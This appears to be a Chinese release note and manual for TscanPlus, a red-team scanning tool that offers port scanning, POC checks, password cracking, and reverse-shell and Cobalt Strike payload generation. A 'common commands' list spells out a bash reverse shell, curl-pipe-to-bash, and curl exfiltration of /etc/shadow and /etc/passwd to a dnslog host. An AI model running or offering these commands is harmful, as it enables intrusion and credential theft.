无影(TscanPlus),一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。
【主要功能】 端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、域名探测、网络空探等。
【辅助功能】 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成等。
**TscanPlus 功能介绍可参考文章:《TscanPlus——一款红队自动化工具》**https://mp.weixin.qq.com/s/G\_ErhJZqvS9h-XHKeAcy3A
【免责声明&使用许可】
1、本工具禁止进行未授权商业用途,禁止二次开发后进行未授权商业用途。
2、本工具仅面向合法授权的企业安全建设行为,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。
3、如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
4、在安装并使用本工具前,请务必审慎阅读、充分理解各条款内容,并接受本协议所有条款,否则,请不要使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
无影(TscanPlus) v1.8正式版发布,工具正式改名为“无影”,本次更新主要针对POC检测和密码破解多项功能进行完善和优化,并大大降低前端卡顿概率,感谢各位师傅提出的宝贵修改建议和诸多bug!
在此也感谢各位师傅(来自Github、知识星球、工具交流群等)提出的宝贵修改建议和诸多bug!所有提过bug或建议的小伙伴会被拉入工具交流群,并享受新版本新功能第一时间尝鲜及永久VIP服务!
Github下载:https://github.com/TideSec/Tscanplus
软件基于Wails开发,可支持Windows/Mac/Linux等系统,下载即可使用。
由于MacOs的一些安全设置,可能会出现个别问题,如报错、闪退等情况,详见最下方FAQ。
无影(TscanPlus) 内置了大量高质量的PoC,但可能还是无法满足大家的一些定制化需求,所以增加了外接POC检测工具的功能。
目前可以无缝衔接Nuclei、Xray、Afrog三款主流poc工具,在开启“Poc匹配指纹”功能后,程序会根据目标指纹对外置poc进行模糊匹配,之后再进行poc检测,可大大减少poc检测发包量,缩减检测时间。
Nuclei的poc会默认下载到用户文件夹下的nuclei-templates目录,本程序会自动识别该目录,所以想在Nuclei中使用“Poc匹配指纹”功能时可不指定Nuclei的Poc。
但Afrog的Poc默认是内置在程序中,所以如果想在Afrog中使用“Poc匹配指纹”功能,需从https://github.com/zan8in/afrog/tree/main/pocs/afrog-pocs中下载poc文件,然后在程序中指定Poc所在目录,即可在Afrog中使用“Poc匹配指纹”功能。
无影(TscanPlus)的自定义POC功能也已经完善,可兼容Xray Poc 1.0版和Fscan的Poc格式。自行编写Poc时,可使用工具进行测试编写:https://github.com/phith0n/xray-poc-generation
增加对RTSP服务的端口破解功能,修复密码破解联动功能Bug,且密码破解支持协议://IP:Port格式,对每个密码破解的线程数进行了分别优化处理,程序会根据CPU和内存设置一个初始线程值,之后根据系统占用情况调整线程数,在资源占用和破解效率方面都能得到保障。
2.3 增加资产分拣功能
可一键提取资产中的主域名、子域名、IP、URL、Tscan/Fscan结果。
2.4 项目管理流程优化
对项目流程进行了优化,并对威胁的展示结果进行了调整。同时,在新建项目时,可直接使用当前内置的各种配置来执行任务,也可以根据项目需求进行定制化设置。
3、其他已有功能
软件运行后,需审慎阅读、充分理解**《免责声明&使用许可》内容,并在Welcome页面勾选“我同意所有条款”**,之后方可使用本软件。
2、项目管理
项目管理功能是把各分散功能进行流程整合,用户可根据自己的使用场景设计项目功能,完美融合了"资产测绘"、"子域名枚举"、"IP端口扫描"、"密码破解"、"POC检测"、"URL扫描"、"目录探测"、"UrlFinder"等功能。项目执行结果会存储到相应项目数据库中,方便后续查询和使用。
【任务配置】
在添加目标资产并配置任务参数后,TscanPlus会在后台对相应目标执行相应操作,并显示在对应功能Tab栏中。
1、各任务为顺序执行,"资产测绘" => "子域名枚举" => "IP端口扫描" => "密码破解" => "POC检测" => "URL扫描" => "目录探测" => "UrlFinder",默认情况下,上一步探测发现的资产会作为后一阶段的资产输入。
2、在使用资产测绘功能时,如果测绘发现的资产可能不属于你的目标范围时,开启“对资产测绘结果进行扫描和POC检测”时,空间测绘的资产可能超授权范围,请慎用。
3、开启URL探测功能后,会对域名+IP+URL+空间测绘等发现的所有web应用进行URL指纹探测。
4、不选择“POC匹配指纹”时,会对所有探测到的资产+所有POC进行测试。
5、开启“所有端口和服务”后,会对匹配到的所有端口和服务进行破解,不开启时只破解常见的8种服务。
6、在使用目录探测功能时,如选择"仅URL列表"时,仅会对URL列表中的URL进行目录探测。选择"所有结果URL"时,会对IP探测、域名任务等发现的所有URL进行目录探测,当URL较多时可能会较慢。
【项目管理】
在项目管理中,还可直观的展示项目概览,如项目总数、URL资产、IP资产、漏洞总数、敏感信息等,并可对所有项目进行编辑、重新执行、停止、删除等操作。
【结果展示】
所有扫描结果将显示在对应功能Tab中。
3、端口扫描
对目标IP进行存活探测、端口开放探测、端口服务识别、Banner识别等,可识别100余种服务和协议。
【任务配置】
IP支持换行分割,支持如下格式:192.168.1.1、192.168.1.1/24、192.168.1.1-255、192.168.1.1,192.168.1.3 排除IP可在可支持输入的IP格式前加!:!192.168.1.1/26
可选择端口策略、是否启用Ping扫描、是否同步密码破解、是否同步POC检测、是否开启代理,配置任务后可开启扫描。
【扫描结果】
扫描结果如下,会显示服务相关协议、Banner、状态码、标题等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。
选择某一行,右键菜单也可对某地址进行单独POC测试、弱口令测试、目录枚举等,也可以对数据进行单条保存或全部保存。
【功能联动】
在任意功能中,都可与其他功能进行联动,比如IP扫描时可同时开启密码破解和POC检测,一旦发现匹配的端口服务会自动进行密码破解,发现匹配的指纹时会进行poc检测。勾选这两项即可,结果会显示在相关模块中。
【高级配置】
在高级配置中可设置代理地址,在开启全局代理后,各功能都会代理,支持HTTP(S)/SOCKS5两种代理,支持身份认证。还可以设置全局cookie或UA等。
代理格式:
HTTP代理格式:http://10.10.10.10:8081 或 http://user:pass@10.10.10.10:8081
HTTPS代理格式:https://10.10.10.10:8081 或 https://user:pass@10.10.10.10:8081
Socks5代理格式:socks5://10.10.10.10:8081 或 socks5://user:pass@10.10.10.10:8081
4、URL探测
TscanPlus目前整合指纹2.6W余条,经多次优化,有效提高了资产发现的协程并发效率,对1万个web系统进行指纹识别仅需8-10分钟,在效率和指纹覆盖面方面应该是目前较高的了。
【任务配置】
URL探测主要针对web地址进行批量检测,输入格式为Url地址每行一个,并且前缀为http/https:http://www.abc.com http://192.168.1.1:8080 https://www.abc.com:8443
同样,可选择线程数、是否同步POC检测、是否开启代理,配置任务后可开启扫描。
【扫描结果】
扫描结果如下,会显示web站点标题、Banner、状态码、中间件、WAF识别等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。
选择某一行,右键菜单也可对某地址进行单独POC测试、目录枚举等,也可以对数据进行单条保存或全部保存。
5、域名枚举
在域名枚举方面TscanPlus集成了多种功能,可以使用字典枚举,也可以使用多个免费接口进行查询。还可以对枚举到的域名进行联动的端口开放测试、指纹识别及poc检测、目录枚举等。
【任务配置】
枚举较依赖网络,所以多域名时会逐个进行。默认10000的字典,线程50在网络状态较好时大约用时12秒。
域名每行一个,不要加http前缀,如:
tidesec.com tidesec.com.cn
同样,可选择线程数(建议50-00)、是否同步POC检测、是否指纹识别,配置任务后可开启域名任务。
【扫描结果】
扫描结果如下,会显示子域名、解析IP、开放端口、网站标题、域名来源等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。
选择某一行或多行,右键菜单也可对某地址进行单独POC测试、目录枚举等,也可以对数据进行单条保存或全部保存。
6、POC检测
TscanPlus内置了部分POC,并进行了Level分类,Level1是最常见、使用频率最高的POC,Level2是较通用的POC,Level3为不太常见POC。
【任务配置】
URL可导入txt文件,也可自行输入,必须是HTTP/HTTPS为前缀的URL地址。
比较重要的一个选项是“POC匹配指纹”,默认开启这个选项,这时会根据指纹信息匹配POC,如匹配不到POC则不检测。关闭该选项后,会对所有选择的POC进行测试。
POC选项可指定外部POC文件或POC文件夹,在后面输入POC的绝对路径,如C:\POC,但导入的POC无法和指纹进行匹配,默认会把导入的POC全跑一遍。
外部POC可支持Xray或Xray或同样格式的POC,POC编写可参考:https://poc.xray.cool/ 或 https://phith0n.github.io/xray-poc-generation/
【扫描结果】
扫描结果如下,会显示发现漏洞的站点、POC名称、Banner、状态码、标题等,选择某一行后,可查看Request和Response数据包。
最下方会显示目标存活数量、检测成功POC数量、检测队列情况、用时等。
7、密码破解
TscanPlus内置34种常见服务的弱口令破解,可方便管理员对内网弱口令进行排查,为提高检测效率,优选并精简每个服务的用户名和密码字典。覆盖的服务包括:SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。
【任务配置】
在左侧选定要破解的服务,并填入目标地址即可。右侧配置任务时,可选择使用内置字典或自行导入、是否开启指纹识别、Oracle监听设置、执行命令等。
【扫描结果】
扫描结果如下,会显示发现弱口令的服务、账号、密码、Banner、执行命令、用时等。
最下方会显示目标存活数量、破解成功数量、检测队列情况、用时等,并会实时显示破解日志。
8、空间测绘
为使信息搜集更快捷方便,TscanPlus集成了多个网络空间测绘接口,包括fofa,hunter,quake,shodan,censys,zoomeye,threatbook,binaryedge,virustotal等9个主流空探API,可根据域名、IP地址、端口、应用、服务等进行检索,并对各网络空探结果进行去重整合。
【任务配置】
首先要配置key信息,如没有key可点击后面"API申请"进行申请,之后点击启用即可使用该API接口。
针对Fofa还提供了自定义API接口功能,可自行设定FofaAPI地址。
在主界面选择字段,如域名、IP地址、端口、应用、服务等进行检索,并输入检索条件即可。TscanPlus会对所有结果进行去重和整合。
【查询结果】
查询结果如下,会显示URL、IP、域名、端口、协议、标题、指纹、应用、Whois、备案、ISP、OS、地区、更新时间、API来源等信息。
选择某一行或多行,右键菜单也可对某地址进行单独POC测试、目录枚举、端口扫描等,也可以对数据进行单条保存或全部保存。
9、目录扫描
目录扫描主要是对web站点进行目录枚举,支持字典模式、Fuzz模式、存活探测等,支持HEAD/GET方法,默认使用HEAD方法。
【任务配置】
字典默认使用dirsearch内置字典,大约9000条数据,扩展支持asp、aspx、jsp、php、py等格式,TideFuzz开启后会根据枚举结果进行递归Fuzz。
如果使用Fuzz模式,需输入fuzz元字符,之后会根据fuzz长度生成字典,但注意fuzz字典不能过大,当字典超过10万行时会提示字典过大,无法扫描。
还可以配置超时时间、超时重试次数、间隔时间、URL并发数、目录线程数等,并可以对扩展名、状态码进行过滤。
【扫描结果】
扫描结果如下,会显示发现的URL地址、状态码、Body长度等,选择某一行后,可查看Request和Response数据包。
最下方会显示目标存活数量、枚举成功数量、检测队列情况、用时等。
1、增加了递归扫描的功能,开启该选项后,发现新的目录时,会对该目录再进行目录枚举;
2、对返回同样长度、同样状态码的页面,出现5次以上不再显示
3、增加关键字过滤、返回长度过滤、自定义后缀等功能。
10、UrlFinder
URLFinder功能可对目标信息进行快速、全面的提取,可用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口。
【任务配置】
输入目标地址后,可进行模式选择,"普通模式"默认对单层链接进行抓取,"深入模式"会对链接进行三层抓取,耗时相对长一些。
探测层数可设置探测的链接层数,上限数量是对URL总数进行限制,防止无限制爬取。
"仅显示本站"是对URL和JS结果进行过滤,此外还可以配置线程数,并可以对扩展名、状态码、关键词进行过滤。
【扫描结果】
扫描结果如下,会显示发现的URL地址、状态码、Body长度等,当发现敏感信息时,会在"标题||敏感信息"列中显示。
最下方会显示目标存活数量、枚举成功数量、检测队列情况、用时等。
1、对返回同样长度、同样状态码的页面,出现5次以上不再显示
2、增加关键字过滤、返回长度过滤、自定义后缀等功能。
11、上线反弹
TscanPlus内置各类反弹shell命令85条、MSF生成命令21条、CS免杀上线命令等,可根据shell类型、操作系统类型、监听类型自动生成代码。
可设置IP/PORT、listener类型、shell类型、是否编码,选择你想要的命令后,即可生成响应代码。
【CS上线】
CS上线配置CS Payload地址后,即可生成相应代码。
12、红队命令
TscanPlus内置常用红队命令,包括Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条。
Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类。
【下载命令】
内置常见下载命令31条,基本能覆盖内网渗透能用到的下载方法。
配置URL地址和目标文件名后,可自动生成相应代码。
【java编码】
有时,通过 Runtime.getRuntime().exec()
执行命令有效负载会导致失败。使用 WebShell,反序列化利用或通过其他媒介时,可能会发生这种情况。
有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义。例如,ls > dir_listing
在shell中执行应该将当前目录的列表输出到名为的文件中dir_listing
。但是在exec()
函数的上下文中,该命令将被解释为获取>
和dir_listing
目录的列表。
其他时候,其中包含空格的参数会被StringTokenizer类破坏,该类将空格分割为命令字符串。那样的东西ls "My Directory"
会被解释为ls '"My' 'Directory"'
。
在Base64编码的帮助下,java命令编码转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格。
常用命令清单
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ping `whoami`.key.dnslog.cn curl http://www.google.com/bash.txt|bash curl http://key.dnslog.cn/?r=`whoami` curl http://key.dnslog.cn/?r=`cat /etc/shadow|base64` curl http://key.dnslog.cn/?r=$(cat /etc/passwd|base64|tr '\n' '-') curl http://www.google.com/key.txt curl http://www.google.com/key.txt -O curl http://www.google.com/key.txt -o key.txt
13、辅助工具
TscanPlus内置Windows提权辅助、杀软查询、字典生成等工具,后续会持续更新。
提供了三种密码生成方式,包括社工字典生成、组织方式和枚举模式。可根据需求不同来生成更有针对性的字典文件。
内置了10733条常见设备和产品的默认账号密码,可直接进行查询并导出。
根据systeminfo信息查询未修补的漏洞信息,返回漏洞微软编号、补丁编号、漏洞描述、影响系统等信息。
【杀软查询】
根据windows的tasklist信息,匹配杀软进程,内置1042条杀软识别规则。返回进程名称、进程ID、杀软名称等信息。
【导出功能】
1、在所有功能模块中,新增了导出excel功能,默认会保存在程序根目录下。
2、在所有功能模块中,可对所有列内容进行排序和个过滤。
3、在所有功能模块中,可多选或全选模板,并进行批量操作,如进行poc检测、密码破解、目录枚举等。
4、对软件执行过程中发现的所有资产、威胁进行实时保存,保存路径为程序所有在根目录下的result.txt文件中。
14、自定义功能
1、增加数据库管理,可对所有数据进行持久存储和使用。默认DB文件会在config文件下生成。
2、对各功能配置参数写入配置文件,参数修改后只要执行一次相应功能就会写入配置文件,下次无需再次修改。
3、红队命令、上线命令、默认密码等可自定义添加,并保存在配置文件。
4、增加系统主题设定,在任意页面打开"高级配置",可对系统主题进行配置,选择深色或浅色模式。(该功能基于wails框架,mac兼容较好,在windows部分系统上应用可能存在问题)
Mac系统下的的深色和浅色主题对比。
软件下载
Github下载:https://github.com/TideSec/Tscanplus
部分功能还在完善(子域名模块、POC自定义功能等),目前暂不提供源码,这里打包了windows/mac版本的TscanPlus供下载。
本次编译的均为x64_AMD架构,有需要x86版本或ARM版的可到星球下载。
1、MacOS安装问题
Mac上可能遇到不少执行问题,如「xxx已损坏,无法打开,您应该将它移到废纸篓」、「打不开xxx,因为 Apple 无法检查其是否包含恶意软件」、「打不开 xxx,因为它来自身份不明的开发者」,可参考下面两篇文章,基本能解决95%的问题。
https://cloud.tencent.com/developer/article/2216717?areaId=106001 【苹果电脑安装软件后,提示mac文件已损坏,无法打开怎么办?】 https://sysin.org/blog/macos-if-crashes-when-opening/ 【macOS 提示:“应用程序” 已损坏,无法打开的解决方法总结】
目前Mac遇到的比较多的就是闪退问题,执行下面的命令即可解决:
sudo xattr -r -d com.apple.quarantine TscanPlus_darwin_amd64_v1.0.app
如果还是不行,再执行这个:
sudo codesign --sign - --force --deep TscanPlus_darwin_amd64_v1.0.app
2、Windows依赖WebView2环境
Wails打包的程序在Windows上运行时依赖 Microsoft WebView2,而默认情况下Windows11和win2012会安装,但有些旧机器(如Win2k8)不会,如机器没有webview2环境,程序会引导下载安装webview2。也可自行手动下载:https://developer.microsoft.com/en-us/microsoft-edge/webview2。
3、Windows杀软报病毒问题
程序使用Go开发,Windows版本使用upx进行了加壳,杀软可能会报毒,请自行排查。
4、其他软件bug可提到Github的Issue或知识星球中,后续会逐一修复。
往期推荐
E
N
D
Tide团队产品及服务
团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......